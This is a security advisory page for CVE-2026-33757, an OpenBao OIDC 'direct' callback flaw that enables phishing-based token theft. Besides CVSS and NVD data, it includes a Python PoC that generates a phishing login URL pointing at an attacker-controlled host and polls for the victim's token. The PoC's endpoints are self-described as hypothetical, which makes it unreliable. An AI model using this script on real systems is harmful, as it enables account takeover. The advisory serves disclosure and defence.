Security Vulnerability Report
中文
CVE-2026-33757 CVSS 9.6 CRITICAL

CVE-2026-33757

Published: 2026-03-27 15:16:58
Last Modified: 2026-03-30 17:23:25

Description

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with `callback_mode` set to `direct`. This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the `direct` mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued. Version 2.5.2 includes an additional confirmation screen for `direct` type logins that requires manual user interaction in order to finish the authentication. This issue can be worked around either by removing any roles with `callback_mode=direct` or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:* - VULNERABLE
OpenBao < 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Conceptual PoC for CVE-2026-33757 # Demonstrates the logic of initiating a login and polling for the token # in 'direct' callback mode. OPENBAO_ADDR = "http://target-openbao:8200" ROLE_NAME = "phishing_role" # Step 1: Attacker initiates the login request to get a URL print("[+] Initiating malicious login request...") init_payload = { "role": ROLE_NAME, "callback_mode": "direct", "redirect_uri": "http://attacker-controlled-site/callback" # Callback handled internally in direct mode } # Assuming endpoint structure based on described behavior response = requests.post(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/login", json=init_payload) if response.status_code == 200: data = response.json() # Extract the auth URL that the victim needs to visit auth_url = data.get("auth_url") print(f"[+] Phishing URL generated: {auth_url}") print("[!] Send this URL to the victim.") # Step 2: Attacker polls for the token # In 'direct' mode, the attacker polls the API waiting for the victim to authenticate print("[*] Polling for token issuance...") while True: # Hypothetical polling endpoint poll_resp = requests.get(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/lookup") if poll_resp.status_code == 200 and "auth" in poll_resp.json(): token = poll_resp.json()["auth"]["client_token"] print(f"[+] SUCCESS! Victim authenticated. Token: {token}") break elif poll_resp.status_code == 202: # Still pending time.sleep(2) else: print("[-] Error polling for token") break else: print("[-] Failed to initiate login")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33757", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:57.690", "lastModified": "2026-03-30T17:23:24.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with `callback_mode` set to `direct`. This allows an attacker to start an authentication request and perform \"remote phishing\" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the `direct` mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued. Version 2.5.2 includes an additional confirmation screen for `direct` type logins that requires manual user interaction in order to finish the authentication. This issue can be worked around either by removing any roles with `callback_mode=direct` or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.2", "matchCriteriaId": "F1489D2B-6994-46B2-8550-256B9EFCFD48"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc8628#section-5.4", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/openbao/openbao/commit/e32103951925723e9787e33886ab6b6ec20f4964", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openbao/openbao/security/advisories/GHSA-7q7g-x6vg-xpc3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}